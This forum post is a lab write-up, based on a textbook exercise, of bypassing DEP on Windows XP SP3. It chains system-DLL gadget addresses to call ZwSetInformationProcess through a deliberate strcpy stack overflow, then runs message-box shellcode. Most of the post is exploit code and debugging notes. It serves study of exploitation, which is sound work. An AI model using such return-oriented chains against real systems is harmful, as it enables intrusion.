首页
论坛
专栏
课程

[原创]Ret2Libc实战之利用ZwSetInformationProcess

2019-3-14 22:50 834

[原创]Ret2Libc实战之利用ZwSetInformationProcess

2019-3-14 22:50
834

Ret2Libc实战之利用ZwSetInformationProcess

本实验是按照0day第十二章(数据与程序的分水岭:DEP)做的,实验过程基本一致,写下来当作笔记。不足之处还望各位指正!
这个实验是通过ZwSetInformationProcess来关闭进程的DEP从而实现在执行布置在stack上的shellcode

实验环境如下:

windows XP sp3 + VC++6.0(生成release版本,并且禁止优化!!!)
当然此实验是在开启系统的DEP下做的,不然直接用shellcode的起始地址覆盖函数的返回地址就可以达到执行shellcode的效果。

 

ZwSetInformationProcess()函数的参数如下:
Owl
按照书上的做法,各个参数的值设置为:
Owl
实验源代码:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6f\x4f\x77\x6c\x68\x48\x65\x6c\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" //override the EBP
"\xfc\xdf\x80\x7c" // the address of (MOV 1, EAX, RET)
"\xff\x38\xf2\x77" // the address of (PUSH ESP, POP EBP, RET 4)
"\x68\xff\x87\x7c" // the address of (RETN 0x20)
"\x4c\x3c\xd0\x7d" // the address of (JMP ESP)
"\x24\xcd\x93\x7c" // the address of close DEP
"\xe9\x33\xff\xff" // JMP &shellcode
"\xff\xff\xff\xff"
;
void test()
{
    char tt[176];
    strcpy(tt,shellcode);
}
int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();
    return 0;
}

实验的大致思路是通过对栈帧合理布局,使程序在执行完test()函数时去执行关闭DEP的指令,然后就可以跳到shellcode的起始地址执行shellcode了。执行结果:
图片描述

调试过程:

首先将弹出对话框的shellcode填充为176字节,然后用OD打开,使用插件查找MOV EAX, 1的地址,这里选择0X7C80DFFC来覆盖test()函数的返回地址。
图片描述

 

图片描述

重新布置shellcode:

shellcode [] = 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6f\x4f\x77\x6c\x68\x48\x65\x6c\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" //override the EBP\
"\xfc\xdf\x80\x7c" // the address of (MOV EAX 1, RET)
"\x24\xcd\x93\x7c" // the address of close DEP
;

重新编译后调试,可以发现test()函数会返回到MOV EAX, 1 RET,继续单步运行,执行完MOV EAX后会跳到关闭DEP的代码处。继续运行会出现access violation when writing to [9090908C],这是因为shellcode直接用0X90909090EBP给覆盖了,EBP-4=0X9090908C,这个地址是不能写的,所以执行到MOV DWORD PTR SS:[EBP-4],ESI时会报错。
图片描述

 

图片描述
接下来要在执行关闭DEP的代码之前要把EBP-4地址处修改为一个可以进行写操作的地址。可以使用PUSH ESP, POP EBP, RETN指令来修改EBP并且修改完后还能回收控制权。这条指令序列可以使用OllyFindAddr插件来查找,查找结果中的step3。这里选择的地址为:0X77F238FF
图片描述

再次重新布置shellcode:

shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6f\x4f\x77\x6c\x68\x48\x65\x6c\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" //override the EBP
"\xfc\xdf\x80\x7c" // the address of (MOV 1, EAX, RET)
"\xff\x38\xf2\x77" // the address of (PUSH ESP, POP EBP, RET 4)
"\x24\xcd\x93\x7c" // the address of close DEP
;

重新编译后用OD打开调试,在test()函数返回处的汇编代码RETN 4处设置一个断点,F9运行到端点处后使用单步运行,当执行到关闭DEP的代码后返回的地方停下。观察此时寄存器的状态,当执行RETN 4的时候程序会从ESP(0X13FEBC)处取指令执行,但是这个地址存放的是0X00000004,也就是ZwSetInformationProcess()函数的第四个参数,也就是说在执行关闭DEP的代码的时候进行了PUSH操作,虽然成功关闭了进程的DEP但是已经失去了对程序的控制。
图片描述

 

图片描述
这里可以看到在关闭DEP后程序会到EBP+8处取指令执行,如果我在EBP+8处存放跳到shellcode操作的地址,那么在关闭DEP后就可以JMPshellcode执行。问题来了,怎么保证关闭DEP时进行PUSH操作而不破坏EBP+8处的内容呢?可以通过抬高ESP来确保EBP+8处的内容不被破坏。既能抬高ESP又能保证不失去对程序的控制权的首选指令就是RETN N了,依然使用OllyFindAddr插件来查找RETN N的指令,为了确保在进行PUSH操作的时候不破坏EBP+8,可以将N选为0X20。在查找的结果中随便选取一个地址,这里选择的地址为0X7C87FF68
图片描述

最后重新布置shellcode:

shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6f\x4f\x77\x6c\x68\x48\x65\x6c\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" //override the EBP
"\xfc\xdf\x80\x7c" // the address of (MOV 1, EAX, RET)
"\xff\x38\xf2\x77" // the address of (PUSH ESP, POP EBP, RET 4)
"\x68\xff\x87\x7c" // the address of (RETN 0x20)
"\x4c\x3c\xd0\x7d" // the address of (JMP ESP)
"\x24\xcd\x93\x7c" // the address of close DEP
"\xe9\x33\xff\xff"
"\xff\xff\xff\xff"
;
`` 这次在EBP+8处存放的是JMP ESP的地址而不是直接跳转到shellcode起始地址这个操作指令的机器码,原因有两个,第一这个地方存放的是一个返回地址,而不应该存放具体的指令。第二,以为这个地址比shellcode的地址大,所以跳转到shellcode这个操作的跳转的值为负,四个字节存放不下。而在这个地址取到指令后ESP正好指向EBP+0X10处,所以在此处放置JMP ESP指令的地址,在执行JMP ESPEIP会指向EBP+0X10处,在EBP+0X10放置跳转到shellcode起始地址的指令即可成功跳转到shellcode`执行。
执行结果如下:
图片描述



[推荐]看雪企服平台,提供安全分析、定制项目开发、APP等级保护、渗透测试等安全服务!

最后于 2019-3-15 18:53 被kanxue编辑 ,原因:
上一主题 下一主题
最新回复 (4)
wendax 2019-3-15 11:33
2
0
这是什么书来着  告诉我一下名字 
SL时 2019-3-15 17:32
3
0
你好,这本书叫《0day安全:软件漏洞分析技术》(第二版)
zhenwo 1 2019-3-15 21:41
4
0
这书不好买了,我12年买了一本,看了好几遍 很好的书
SL时 2019-3-15 22:27
5
0

上面的图不太清晰,这是pdf格式的文档,里面的图可以看清。

上传的附件:
游客
登录 | 注册 方可回帖
返回